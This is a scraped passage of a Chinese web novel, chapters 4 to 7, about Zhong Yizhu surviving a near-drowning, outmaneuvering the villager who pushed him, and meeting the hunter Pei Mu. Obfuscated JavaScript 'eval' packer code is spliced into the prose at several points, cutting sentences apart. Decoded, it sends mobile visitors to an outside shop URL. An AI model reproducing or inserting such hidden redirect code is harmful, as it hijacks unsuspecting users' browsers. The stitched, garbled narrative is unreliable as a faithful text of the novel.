吴翠娟昨日想造谣攀诬却被他顶了回去，今日见了他更是横眉竖眼，满嘴不堪入耳的污言秽语，她旁边的同伴也跟着搭话指责，仿佛他真的十恶不赦，无耻放荡。 钟意竹不欲理会，转身想走，却被吴翠娟一把拉住了洗衣盆。 拉扯间，钟意竹被脚下踩到的石头崴了一下，失去平衡从侧边掉进了河里。 他不会水，刚落水就呛了一大口水，整个人瞬间慌乱起来，他所有的挣扎都无济于事，水流裹挟着他往下游漂去，他一度以为自己就要死在这里…… “钟少爷——” 不远处传来几句高高低低的喊声，钟意竹抬头看过去，视线被一片林木遮住，却已经隐约能听见有人跑动的动静。 钟意竹抹了把眼泪，强迫自己冷静下来。 他不知道寻来的会是谁，可这种救人的场合想也知道会有不少陌生男子，旁边的河面上映出他浑身湿透的模样，钟意竹左右看了看，索性抓起岸边的淤泥往自己身上敷去。 他在淤泥汤里滚了一圈，又在脖子上领口这些露出来的皮肤上涂满淤泥，脸上也敷了几道，整个人瞬间变得狼狈无比。 “在这里！”正沿着河岸边找人的人群中有人眼尖地发现了钟意竹挣扎着往上爬的身影，一群人马上往他指的方向聚了过来。 钟意竹落水后，吴翠娟也一下子慌了神，可越慌越怕越想逃避，她见同行的小李氏急着要去叫人，连忙拦住她。 “不能让人知道！这河沟又不深，兴许没事呢。” 小李氏胆子小，生怕闹出人命背上官司，不顾她阻拦跑去找了村长，只说撞见钟家小哥儿不小心落了水。 村长连忙叫了人往河岸边找，阵仗搞得大，吴翠娟原本心里有些没底，此时见钟意竹没事，吴翠娟便瞬间来了劲，怨怪地看了小李氏一眼。 这边周绍芬和另一位夫郎合力把钟意竹从河边低洼的泥泞处拉了上来，钟意竹泥人似的，不好意思地向两人道谢：“抱歉弄脏了你们的衣裳。” “这有什么，人没事就好。” 周绍芬爽朗，夫郎和钟意竹从没见过，脸上却也没有芥蒂的模样，即使钟意竹身上脏污得什么都看不出了，两人还是围在他旁边没有挪动，隔在了钟意竹和一群陌生的汉子中间。 纵使是这样的特殊情况，可若是小哥儿不小心泄了春光，那名声也是要收到牵连的。 柳有宗见状挥了挥手：“行了，人找到就散了吧，回去干活吧。” “等等。”钟意竹却在这时开了口，“多谢大家帮忙来找我，这份情我记下了。” 钟意竹看向混在人群里准备跟着离开的人：“只是吴娘子还请留步，你把我推下水，如今就这么不声不响地走了，不合适吧？” “嚯——”众人一听有此前情，纷纷停下了脚步，看向吴翠娟。 吴翠娟早在看见钟意竹没事的时候就已经想好了理由开脱，她涨红了面皮，满脸不忿。 “我见你掉水好心拉你，你却诬陷我推你下水？睁着眼说瞎话也不是这么说的！”她一把拉住旁边小李氏的胳膊，“李家妹子可是都看在眼里的，她可以替我作证。” 小李氏之前就被吓得不轻，如今见了钟意竹没事，更是只盼不要牵连到自己便好。 她低着头，不顾吴翠娟用力捏她胳膊的暗示，低声道：“我那时荷包掉了正低头去找，抬头就见钟少爷在河里挣扎，没看清他是如何掉进去的，我没法子，只能赶紧去找村长救人。” “你！”吴翠娟气了个倒仰，又连忙转头看向柳有宗，“李家妹子没看清，可事实就是我说的这样，村长你可要为我做主，咱们村里人哪个不是老实本分的，不像外面的人有那么多花花肠子，村长这你都是知道的。” 吴翠娟这一踩一捧，不仅特地点明了钟意竹的“前科”，还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我行得正坐得直，吴氏却屡次挑衅诬蔑于我，她毁我名节在前，推我下水在后，若不是我侥幸抓住岸边水草，现在有没有命在都是两说。况且我那一盆衣裳加在一起也值不少银子，焉知吴氏推我下水不是为了谋财害命？” 钟意竹没有看吴翠娟，反而意有所指地盯着小李氏，眼睁睁看着小李氏的脸色随着他的话越来越白。 “我相信县令大人明察秋毫，定然会还我一个清白。” 随着钟意竹话音落下，村民们尚没回过神，小李氏先崩溃地指着吴翠娟大喊起来：“都是她干的，和我没有关系，你们要找就找她别抓我！” 吴翠娟头晕目眩，扶住旁边的树才站稳了，她顾不得去骂小李氏，眼见一顶谋财害命的大帽子扣下来，慌忙争辩道： “谁拿你衣裳了？我怎么知道你衣裳值多少钱？我不过是抓了下你的盆沿，你自己没站稳掉下去怎么能算我推的？” 她慌不择路地拉着旁边的人解释：“我没有推他！我真的没有推他！” 事已至此，事情的真相已经无需钟意竹多说，柳有宗沉声喝道：“吴氏，你害钟少爷落水，却狡辩说自己是在救人，你知错了吗！” 吴翠娟直到这一刻才终于知道害怕，她哭嚎着瘫坐在地：“我不是故意的！村长你救我，我没想害他，我没有谋财害命！不能抓我啊呜呜呜呜……” 柳有宗看向钟意竹：“钟少爷你看……” 5. 第 5 章 平心而论，柳有宗作为村长，自然不希望闹到报官的地步。 乡里人家见识不多，听到报官就吓破了胆子，实际上报官也并非易事，像钟意竹这样没有受到实质伤害，又没有切实证据，真告到公堂上也不一定讨得了好。 柳有宗原本并不确定钟意竹是真的意气用事要闹个鱼死网破，还是单纯用报官来吓唬人。 如今看来显然是后者。 到底是府城来的小哥儿，就算落魄了，眼界见识也不是一般人能比的。 而与此相比，更让他刮目相看的是钟意竹这份心智和处事的手段，柳有宗在心底感慨，这若是个儿郎，定然能有一番作为，何至于被作弄到如今的境地…… “我可以不报官，但吴氏害我差点丧命，必须付出代价。” 钟意竹的话拉回了柳有宗有些飘远的思绪，他点头道：“当然，我们村还没有出过这样恶劣的事，吴氏扰乱村风，必须受到处罚。” 吴翠娟万万没想到她亲手捅出去的刀最后却是扎向自己，她摇头想辩，却已经没有人愿意听她的了。 柳有宗看向钟意竹：“钟少爷是苦主，你想怎么罚？” 此时因为这边的热闹已经有越来越多的村民聚了过来，小李氏的家里人把矛头对准了吴翠娟，边骂边拍着手替小李氏喊冤，李四牛还在地里没赶回来，吴翠娟孤立无援，往日里的泼辣劲也发挥不出来了，只一个劲的哭。 钟意竹知道，吴翠娟虽说满嘴胡言，可有一点她却说得很对。 对于柳山村来说，他是不折不扣的外人，纵使他占理，他也不能做得太过分。 钟意竹垂下眼不再看那边的闹剧：“村长决定吧。” 柳有宗想了一会儿，又跟在场的两位族老商量了下，最终宣布道：“吴氏蓄意害人，罚跪祠堂两日，并赔偿钟少爷损失衣物。” 钟意竹对这个结果并不意外，他人没出事，村里也不可能给吴翠娟多重的惩罚，甚至这个结果也大概率是因为族老怕了他要去报官的言论为了安抚他才给出来的。 钟意竹对着柳有宗点头认下这个结果，反正他的目的也不是为了报复吴翠娟，他要的是杀鸡儆猴，是继续在这里生活下去的尊严和底气。 钟意竹点了头，那边吴翠娟却不干了，她哭喊道：“他的衣裳掉在河边我又没捡，凭什么让我赔？就算不见了也是别人捡走的，不信你们去我家找，找出来一件我立马跳河去死。” 相比于跪祠堂，赔钱这件事显然让吴翠娟更难以接受，她哭得狼狈，又是赌咒发誓的，看上去倒是比之前让人信服得多。 不等族老和柳有宗开口，钟意竹便说：“那些我可以不和你算，但我身上这件是被你毁的，你赔这件就行。” 钟意竹身上的衣裳已经被泥巴泡得看不出原本的颜色，眼见肯定是洗不出来了，众人都有眼睛，见他没有狮子大开口，族老们便也点了头。 如此一来，吴翠娟无可辩驳，不得不认。 钟意竹的衣裳都是从家里带出来的，虽然因为走得匆忙，他当时也无心打理这些，因此没能带走多少，可既是在府城时做的衣裳，价格自是不会便宜。 因是旧衣裳，钟意竹抹去零头，报了一两银子，吴翠娟一听又嚷了起来，这一次却被柳有宗强硬地压了下去。 村户人家吃喝都靠自己种地，自给自足的同时也没有太多结余，一户人家一年的花销大多也只有几两银子，如今一下就要给出一两，对于吴翠娟来说与剜肉无异，她看着匆匆从地里赶回来的李四牛，头一次心虚得连眼神都不敢对上，只一味地哭个不停。 吴翠娟哭得可怜，加上一两银子对于村中哪一户人家来说都不是小数目，村民们难免有人共情，想替吴翠娟说话。 就在这时，却听钟意竹扬声道：“趁大家都在，我还有一件事想跟村长商量，是关于我家的田地。” 田地是庄稼人的根，提到钟家的地，人群中窸窸窣窣的声音瞬间少了一大半，众人都竖起了耳朵等着钟意竹接下来的话。 村里人都知道，钟家在村里还剩下三十亩上好的水田，这些年都是钟老三的外家在打理。 钟老三成亲时钟家还穷着，聘不到本村的姑娘哥儿，是和邻村的吴家结的亲。 彼时吴家同样穷得叮当响，偏生家里生的孩子多，只得到了年纪就赶紧嫁出去，也能少一张吃饭的嘴。 后来钟家发达了，虽然是钟老二拼出来的家业，钟老三同样跟着享福，吴家走了狗屎运结了这门好亲，自然是得了不少好处，家中宅子盖得又大又好，两个小儿子都在府城谋了差事，日子过得红红火火。 因是邻村折返不便，从前些年开始，吴家就请了柳山村的几户人家耕种田地，每年坐等着收租子便是，轻松惬意得很。 都是庄稼汉，不过结了门好亲就鲤鱼跃龙门过上了地主似的好日子，背地里不知招了多少人家羡慕嫉妒，柳山村许多人家更是后悔得直拍大腿，生生让这肥水流去了外人口袋。 吴家收了这么些年租子，村里人有时都说不好那些田地到底姓吴还是姓钟，钟意竹突然提起这些田地，众人自然好奇他要做什么。 “钟家的田地如今已全部交给了我，我和娘亲商量好了，决定把其中十亩田地划成村里公田，感谢大家这些年对钟家的照拂。” “什么？！” 村里人原本都还抱着看热闹的心态，万万没想到钟意竹会说出这样一番话来，连柳有宗都是一脸诧异，忍不住确认道：“钟少爷可是当真的？没有说笑？” 钟意竹应得笃定：“地契在我手中，晚些时候我就可以和村中签订契书，这十亩地由村中派人耕种，产出也用作村中所需，我不会插手。” 村里其他人这时才回过神来，顿时一片喧嚷。 村里的公田产出主要是用来修建水渠、修缮祠堂等公共事务，钟意竹这一举动，对村里来说绝对是好事一桩。 几位族老看着钟意竹的目光短短片刻间就和善慈爱了许多，不远处的人群里则是一片嗡嗡的讨论声，说什么的都有。 有知感恩的，也有觉得没拿到实打实的好处便无关痛痒的，更有那心思恶毒眼皮子浅的，一边笑他傻一边暗自眼红得滴血，那可是十亩上好的水田，若是给自己家该有多好…… 周绍芬实在，低声问钟意竹要不要再考虑一下，钟意竹却很清楚自己在做什么。 村里没有人知道，这三十亩水田他爹早就让三叔送给村里耕种，报答当年他们落难时柳山村收留的恩情，除了这个，他爹这些年不时会让三叔送些银子回村，多年来未曾忘记。 可他爹没想到的是，这些东西没有一分到了柳山村，全被钟老三这个忘恩负义唯利是图的东西贪进了自己口袋。 无凭无据，他自然不能揭发此事，况且把别人没收到的东西拿出来说实在没有意义，如今他能够把握住的，也只有那三十亩田地。 钟老太在府城呆了这许多年，做起事来也知道学着人家大户人家顾全脸面，他们母子被赶到柳山村，她便给了他们这三十亩田地的地契当做生计，对外说起时也好装个仁至义尽的名声。 如果这些田地是柳山村在用，钟意竹自然不会说什么，没有生计他也认了，可现在地在吴家手里，他却是无论如何也得把田地拿回来的。 钟意竹知道，他和娘亲在村中孤立无援，就算地契在手，吴家只要拖着赖着不归还，他也只能跟他们耗，就算他拼着一口气去告官，大概也要被扒下一层皮来。 告官是万不得已的选择，他可以选择另一条路——如果柳山村的人愿意帮他，这件事就会变得简单许多。 分十亩田给村里，一是为了让借助村里的力量拿回田地，二则是为了他和娘亲能更好地在村里立足。 这阴差阳错的一环又一环，钟意竹不知该怎么评价，他只知道，如今的他，带着娘亲好好活下来才是最重要的。 …… 因着赠田一事，不用柳有宗插手，李家的族老就压着吴翠娟把一两银子赔给了钟意竹。 钟意竹也没有耽搁，回家洗过澡换过衣裳后，便直接去了村长家签订契书。 孙芸娘被他落水的事情吓得不轻，想让他在家里好好歇息歇息压压惊，钟意竹却知道，这件事情还没有结束，他还有一场仗要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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手臂突然被人碰了碰，钟意竹吓了一跳，回过头见是隔壁赵大娘家的儿媳巧珍，才松了口气。 “嫂子找我有什么事吗？” 巧珍把手里的木盆往前递了递，钟意竹低头才发现这竟是他自己的洗衣盆，盆里装着他早上拿去洗的衣裳，原本应该掉落在他落水的地方的。 巧珍脸上有些心虚，肩膀也瑟缩着：“我上午去洗衣时看见许多衣裳散落在地上，我认出是你的，便都给你拾起来了。” 钟意竹接过木盆，看着盆里干干净净的衣裳，轻声道：“多谢嫂子，我还以为找不回来了。” 巧珍连忙摆手，“不，不……”，直到最后也没憋出句完整的话，转身跑进了家门。 钟意竹在原地顿了顿，才抱着木盆往家里走去。 夕阳的光照在他的衣裳上，他的思绪也倏忽飘回了早上。 劫后余生的感觉在此刻才慢慢开始升腾，他每一步都走得很慢，阳光洒在身上的感觉很舒服，和冰冷的河水形成了鲜明对比。 他不由想到那个救了他的男子，救命之恩，他却连对方姓名都不知道。 他是柳山村的人吗？还是隔壁村的？ 钟意竹想得入神，回过神才发现自己在家门前杵了半天。 他担心吴家闹事，出门前便嘱咐孙芸娘把门拴好，孙芸娘病还没好，得静静养着。 钟意竹抬手扣了扣门，院内很快便传来了脚步声。 “娘，是我。” 钟意竹及时出声，孙芸娘打开门，连忙上下把人打量了一遍，见他衣冠齐整，神情也如常，显然没受欺负，这才把提了一下午的心放回肚子里。 孙芸娘拉着钟意竹往里走：“回来得正好，给你做的蒸蛋羹刚刚好，待会儿再熬一碗姜汤热热地灌下去，泡水里受了寒就得多注意些……” 小院的门被重新合上，母子两人对话的声音渐渐远去。 屋檐上，斜阳洒下的最后一抹余晖也终于散去，太阳落了山。 6. 第 6 章 裴穆是踩着太阳下山的点回到村里的。 他今天带的猎物虽多，去的那家酒楼却正好有食客喜欢，一口气全都收了，免了他到处奔波。 他手里拎着空了的竹筐，里面放着一个小小的包袱，走到河边浅滩时，他拿出包袱里还湿着的衣裳，蹲下身搓洗起来。 这个点家家户户都在吃饭，河边没有人，他这一身本来就是下山之前刚换上的干净衣裳，只是沾了水，并不脏，等他三五下洗好往回走时，天才开始擦黑。 他住的地方在村子最东边，就在山脚下，从镇上的方向回来，需要穿过整个村子。 村里孩子养得野，几个闲不住的皮猴儿吃完了饭正围在某户人家的院墙角下抓蛐蛐儿，张狗蛋眼疾手快地抓到一只大的，正举起来准备炫耀，却突然看见了正往这边走过来的裴穆。 张狗蛋卡在喉咙口的兴奋大叫被生生止住，他抓紧手里的蛐蛐儿，连忙推了推其他玩伴：“快跑快跑，煞星来了。” 裴穆原本是没注意到这边的，奈何张狗蛋动作太大，声音也尖得刺耳。 他皱眉看过去，本就不爽的脸色雪上加霜，硬是吓得几个小孩尖叫着哄散开，没命地往自己家里跑去。 不远处的几乎人家很快便传来训斥小孩的吵闹声，夹杂着几句意味不明的咒骂。 裴穆冷漠地收回目光，迈开步子很快便把那片嘈杂甩在了身后。 他住的房子离村子边缘的房屋都还有一段距离，在经过东边的一户人家时，一道年轻的男声从院子里传来，叫住了他。 裴穆停下脚步，透过篱笆栅栏看向大步走过来的男人，招呼道：“平安哥。” 王平安几步走出院门，拍了把他的肩膀。 “你总算是回来了，这回怎么在山上待了这么多天？” 王平安是王猎户的儿子，只比裴穆大了一岁不到，去年才刚刚成亲，他没有继承王猎户的大体格，身高比裴穆矮一些，五官周正，面容和善，一看便知是个脾气好的。 离得近了，王平安才看清裴穆的脸色：“谁又惹你了？是不是裴家……” “没有。”裴穆没多说，只应道，“最近气候好，猎物多，就多待了一阵。” “原来是这样。”王平安看他筐里空着，笑着说：“这是已经去卖完猎物回来了？还没吃饭吧，你嫂夫郎今晚炖了鱼，咱哥两个喝两杯。” 院子里，王平安的夫郎陈小容也从堂屋门口探出头来招了招手：“快来吧裴兄弟，饭都盛好了。” 这两口子几乎是村里裴穆唯一称得上有交情的人家，两人真心相邀，裴穆也没多客气：“你们先吃，我回去换身衣裳就来。” 听他这么说，王平安这才发现他身上的衣裳沾灰，有些地方还溅了血点，显然是在山上打猎时穿的衣裳。 王平安知道裴穆爱干净，一般这种要上山待好几天的情况都会带身干净衣裳去换，他了然笑道：“难怪臭着脸，这次忘记带衣裳了？行了快去换吧，我们等你。” 裴穆加快步子回到住处，换上了干净的衣裳脸色才畅快许多，他把之前在河边洗干净的衣裳晾好，又从橱柜里翻出一瓶之前买回来的酒拎上，这才出门往王家的院子走去。 王平安夫夫还没有孩子，王猎户早年丧偶，他本人则是在去年上山打猎时遇到野熊不慎丧命，因此饭桌上只有王平安夫夫和裴穆三人。 饭桌上大多是王平安夫夫在说，说家长里短，说山里的猎物山珍，也说村里的八卦闲事。 王平安酒量不好，没喝几口脸就有些红了，他虽然没当成猎户，却对山上的各种走兽飞禽好奇喜欢极了，拉着裴穆说了一阵后，他突然想起什么，用筷子一敲酒碗。 “对了！你还不知道吧，钟家来人了！” 裴穆抬眼看过去：“哪个钟家？” “这村里不就一个钟家？”王平安夹了口菜，也不卖关子，三言两语把这几日发生的事说了一遍，末了感慨，“你说这钟家二老爷明明正是壮年，怎么也就这样去了？” 裴穆端着酒碗的手顿了顿，神情也有些怔然。 王平安把碗里的酒都灌进嘴里，酒意上头，被勾起的情绪也有些不受控制。 他迷迷瞪瞪地盯着碗底，想起了同样是壮年故去的亲爹，眼眶泛红地喃喃：“要是我有用些就好了，要是我那天陪爹一起上山就好了……” 裴穆回过神，却也不知道该怎么安慰，只能沉默地放下酒碗，拍了拍他的肩膀。 “怎么好好的又提起这个了……”陈小容抢过王平安的酒碗不让他继续喝，想数落他，却先心疼地抹了抹眼泪。 王平安从小身体便不够强健，幼时总爱生病，等到大一些才好上许多。 王猎户自妻子故去后一个人拉扯着王平安长大，儿子不是做猎户的料，王猎户早早便开始为他打算，省吃俭用存了一笔银钱，等他到了能顶立门户的年纪，便为他置了地，说了亲，让他去过平常的、不必担惊受怕的日子。 这一通下来掏空了王猎户的家底，他置办的田地算不上多，五亩水田六亩旱地，夫夫两人就能照看过来，因此他依旧继续上山打猎，想多攒下一些家业，不至于多生几个娃娃便吃不饱饭。 可谁都没想到意外来得那么突然，等王猎户被人从山里抬出来时已是奄奄一息，他的前胸被野兽的爪子撕开，若不是恰巧滚落山崖，怕是连全尸都留不下。 王猎户甚至没能等到大夫过来就咽了气，那时王家刚办完喜事，新置的田地才买了种子下种，家里正是青黄不接的时候，别说置办丧事，连副像样的棺材板都够呛买得起。 王平安咬牙就想卖田，关键时刻，刚从边关回到村里的裴穆站了出来，出钱出力，帮着王平安让王猎户体面地走完了最后一程。 因着这份情谊，不管村里怎么编排裴穆，王平安夫夫始终把他当做自家弟弟。 陈小容嫁来柳山村这一年多也大概知道了裴家的那些往事，他见裴穆默不作声地灌了碗酒，不知是想起了王猎户还是他那个狠心的爹。 这一顿饭吃完，天已经完全黑了。 裴穆走时王平安已经醉得不省人事，陈小容送他离开，硬是塞了罐腌菜给他。 半明半暗的月色下，裴穆静静地看了会儿远山，才往自己的住处走去。 他对于儿时的记忆其实许多都已经模糊了，毕竟几乎都是无休止的打骂，翻来翻去也没什么新鲜的。 可他还记得有个年轻的男人送给过他一份甜香的桂花糕，那时他四岁，从没尝过甜味，舔到第一口的时候还以为吃到了仙丹，他吃了两口就不舍得吃了，小心地藏了起来，可还是被发现了。 大着肚子的女人掐着腰指责他偷钱买糕，一旁的男人对他破口大骂，他却趁他们不注意冲过去把桌上摊开的桂花糕全部塞进了嘴里。 他们气疯了，把他打了半死，又饿了他三天，可他从那时起知道，他不是天生贱命，他吃了好东西也不会死的。 那是别人送给他的，专门给他的。 记忆拉回，裴穆看着面前漆黑一片的小院，推开院门走进去，摸黑打开灶房门，把腌菜放进去。 这是他去年回村后盖的房子，拆了原来的草棚，盖了三间土屋，一间做堂屋，一间做卧房，一间放杂物，灶房另外搭了一间，围成个半大不小的院子，后院倒是为了养活物弄得稍大些，如今也空着，整个房子冷冷清清，没几分人气。 裴穆从灶房的水缸里打了两桶水拎到院子里，就着冷水洗了个澡。 之前听王平安说起钟家的事，他当时便猜出了白日里救下的那个小哥儿身份，本以为只是村里哪户人家的亲戚，没想到阴差阳错，中间竟有这么多牵绕。 一报还一报，他吃了钟老爷的糕，如今救了他儿子，也算是扯平了。 这几日在山上自然是睡不好的，总归周围没有人家，裴穆便也无所顾忌，他光着身子进了卧房，往床铺上一倒，连头发都没擦便睡了过去。 …… 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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张桂花家院子里，张铁牛眼神一路跟随着院外经过的身影，连张桂花叫他都没听见。 张桂花骂骂咧咧地从堂屋出来，见张铁牛一副魂不守舍的模样，顺着他的视线看过去，认出了已经走远的人影，顿时更加气不打一处来，拿着手上的簸箕便上去给了张铁牛几下。 “造孽的东西，我跟你说的话你听到狗肚子里去了？跟你说了让你离钟家这祸害远些，你存心跟我作对是吧？” 张铁牛被打了才不舍地收回眼神：“娘，他长得真好看，我没见过这么好看的小哥儿，姑娘也没有。” 张桂花气得用力给他头上来了一下，顾忌着左邻右舍，扯着他耳朵把他拽进了屋里，才压低声音道： “我知道你想成亲，已经请田媒人帮你相看了，至于钟家小哥儿你想都别想，就算不提之前的传言，他那样子连桶水都拎不动，你要娶回来供着不成？” 张铁牛却根本听不进张桂花的话，他之前只远远见过小哥儿一眼，后面几天跟着大哥去了镇上做工，哪知道这小哥儿长得这样貌美，让他一眼看进去就出不来了。 “娘，我就喜欢他，他那是刚来村里，这些活计干着干着就会了……” 见张桂花仍是一脸坚决，他想起什么，急切道：“娘你不是说钟家现在有二十亩水田吗，他嫁过来怎么也得陪嫁几亩吧？而且他娘身体不好，等他娘走了，那些田就全是我们的了，那可是二十亩水田！” “嘶——这……”随着张铁牛的话落下，张桂花的神情也多了几分动摇。 她之前光想着钟意竹是个祸害不想沾惹，因此没往这方面想过。 可如今想来，名声品行哪有实实在在的田地重要？再说了，到时候嫁过来了他便只是张家儿夫郎，还能反了天去不成？ 张桂花心下已经十分意动，表面却还是拿腔拿调地说：“我再和你爹商量一下，你先不要声张。” 7. 第 7 章 日子在日复一日的重复劳作中总是过得很快，一转眼钟意竹已经来了柳山村小半个月，村里人已经逐渐习惯了钟意竹的存在，不再把他的每一次出现当做稀奇来看。 孙芸娘的病经过这些时日的休养已经好了许多，不再需要人照看，正好昨日下了雨，钟意竹收拾好背篓，打算去山上捡菌子。 自从前几日吴家请了媒婆上门提亲开始，村里竟也有人家跟着上门探起了孙芸娘的口风。 吴家的那个自然是被赶了出去，可村里的婶子阿叔都说得含蓄，要么说来探病，要么说来请孙芸娘帮忙看看绣花的样子。 钟意竹拧着眉想赶人，却被孙芸娘拦了。 吴家请人来提亲是司马昭之心，被钟意竹抢回田地不甘心，又想从邪路子拿回去，这是村里人都能看出来的，赶走媒婆也没人会说他们的不是，可村里乡里乡亲的互相串个门本就是寻常，再赶人定是要落人口舌的。 孙芸娘心里清楚这些人找她的目的，索性把钟意竹打发出去，自己跟他们周旋。 钟意竹去爹的墓前坐了一下午，回村的路上被周绍芬撞见了，两人结伴回村，第二天，周绍芬便让家里的小哥儿来叫他，带他去山上捡菌子玩。 钟意竹从小在府城长大，这种山野间的活动对他来说新奇极了，东走西逛地捡了一筐别人不要的毒菌子，就算最后知道不能吃心情也没受影响，整个人都透着一股鲜活气。 周绍芬的小哥儿名叫柳明桃，今年十五岁，大伙儿都叫他桃哥儿，长相清秀文静，性格却十分活泼。 桃哥儿帮钟意竹挑拣了半晌，又教他辨认哪种菌子能吃，最后还把自己筐里的菌子倒了一半给他。 钟意竹不好意思要，桃哥儿却执意要给他，周绍芬挎着篮子笑着道：“竹哥儿你就收下吧，换做旁人他还不愿意给呢。” 钟意竹看着桃哥儿亮晶晶的眼睛，也笑了：“那我就谢谢桃哥儿了，改日我送你一个我做的香包，保准你会喜欢。” 他又看向周绍芬：“还有婶子的，也谢谢婶子。” 周绍芬笑着轻轻拍了拍钟意竹的肩膀：“好孩子。” 这几日钟意竹都在外面，不仅学会了捡菌子，采野菜，还自己摘了皂角，也知道了怎么用皂角来洗衣裳。 桃哥儿送他的菌子用来煮了汤，他和孙芸娘都很喜欢那个鲜味，吃完了就开始馋了。 今日桃哥儿跟着周绍芬去了河边村他外祖家，钟意竹已经踩熟了路，便打算自己一个人去捡菌子。 村子的后山是一片很大的山脉，他们是从西边的口子进山，林子不深，路也好记，周绍芬和桃哥儿都叮嘱过他千万别进深山，只能在外围活动，钟意竹牢牢记着，半步也不往深山里靠。 只是今日他大概是运气不好，认真扒拉了半天也没找到几丛菌子，钟意竹雄心勃勃地来，最后却只蔫巴巴地捡了点柴凑数，免得进山里转了一圈背篓还空着，像个傻子。 抬头见日头已经往下落，钟意竹终于放弃了菌子，转身往下山的方向走去。 山上有些湿滑，他走得小心又认真，却冷不防被活物蹿过身侧的动静吓了一跳，伸手拽住了旁边的树枝才没摔倒。 “咻——”弓箭射出的声音响起，钟意竹目光还没定位到是什么东西吓了他，先注意到了从上方走下来的男人。 是那天从河里救了他的人。 裴穆走上前捡起兔子扔进筐里，转过身看清愣在一旁的人，动作顿了顿。 钟意竹此时已经反应过来，他眼睛亮了亮：“是你。” 钟意竹那天之后不是没想过找人打听，可他什么线索也没有，贸然找人打听一个陌生男子，怎么看也不像话，骤然在这里遇到，他也没有想到。 钟意竹摩挲了一下腰间的钱袋，对方不想被打扰，那给钱总行了，一笔勾销，总好过他一直惦念。 即使知道了这是钟老二家的小哥儿，裴穆也没有什么多余的表情，他冷淡地点了点头算作回应，便转身打算离开，却被钟意竹开口叫住。 “等等，我能用这筐柴火换几个果子吗？” 裴穆的竹筐旁边绑了个布袋，里面堆了些红红粉粉的野果，正是这个季节味道最好的泡儿果，只是山里外面这一圈成熟的果子早就被人摘走，只有深山里才能摘到新鲜果子。 裴穆回过身，看着递过来的背篓里半干不湿的柴火，沉默了片刻。 钟意竹像是怕他不要，往前又递了递，一双手白得晃眼，更显得上面的划痕口子无所遁形。 裴穆听见他说：“我只要两个，可以和我换吗？” 钟意竹期待地看着裴穆，见他把手伸进了布袋，正想送出背篓伸手去接果子，却突然感觉到背篓一重。 回过神时，裴穆已经收回了手，转身大步下了山。 “诶——”钟意竹刚追了两步就被绊了一下，他脚下本就不稳，抱着背篓更是雪上加霜，好一阵手忙脚乱才堪堪站稳。 再抬头看去，裴穆的背影已经消失在了林子里。 钟意竹抱着背篓，看着柴火上面堆着的几个果子，从脸颊烫到了耳根。 他本意是觉得以对方的态度，多半不会直接收下他给的钱，便把钱塞进了背篓里和对方交换。 可如今不仅钱没送出去，还白白讨要了人家的果子，怎一个不要脸了得。 等下了山，钟意竹把背篓放回家，便直接去了村长家。 桃哥儿已经从外祖家回来了，正准备出门放鸭子，见到钟意竹，他连忙抬手挥了挥，钟意竹跟院子里的周婶打了个招呼，便跟着桃哥儿一起赶着鸭子往河边走去。 桃哥儿带着钟意竹熟门熟路地走到了一处有树荫的河坎上，让鸭子自己去河里觅食，他们坐在河坎上看着就行。 四下无人，只有鸭子嘎嘎的叫声和划水拨动出的声响，五月的风还是凉爽的，靠在树干上吹着风很是惬意。 钟意竹听桃哥儿叽叽喳喳地说了一会儿回外祖家的事，才不经意地问了一句：“桃哥儿，我们村有猎户吗？” 柳明桃点了点头：“有啊。” “有几个啊？”钟意竹捂了捂胸口，“我看山里林子深，总怕有野兽跑出来伤人。” “不用怕的，村里猎户如果发现有野兽靠近的踪迹，会告诉我爹让村里组织人狩猎的。” 柳明桃认真安慰完他，才回答他前面的问题：“村里现在就一个猎户，叫裴穆，是从军回来的，我听爹说他本领很厉害的。” 裴穆……钟意竹刚默念了一遍这个名字，就听柳明桃补充道：“就是人很凶。” “……”钟意竹回想这两次遇到裴穆，对方一次救了他，一次给了他果子， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081389|195332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然冷淡，却绝对算不上凶恶，他有些好奇地问道，“有多凶？” “他去年刚回来没多久，就把他弟弟裴金的腿打断了，他掏了治病的银子，当着村里所有人的面跟裴金和他爹娘说，再惹他一次，他就打断他一条腿，反正他有银子赔。” 钟意竹睁大了眼睛：“这是有多大的仇？” 柳明桃扭头确认了一下周围没人，才小声地说：“我也是听别人说的，裴猎户的爹娘是长辈硬凑在一起的，成了对怨偶，自成亲后裴家整天都在闹，没一天消停的。” “后来裴猎户的娘怀上他之后，大伙儿都以为裴家能消停一阵了，可还是闹，一直闹到生产，裴猎户的娘月子里就去了，没等过头七，裴猎户的祖父也没了……” 钟意竹轻轻吸了口气，听柳明桃继续往下讲。 “裴家连办两场丧事，裴木匠恍恍惚惚，精神消沉，回过神来竟发现孩子丢了，村里人帮着找了两天，后来竟是王猎户从山里把孩子抱了出来，说是在深山捡到的，大家都说是偷孩子的在山里迷了路把孩子扔了，那段时间山里还有狼出没，那么小的婴孩没被狼叼走也没冻死，当真是凶险。” 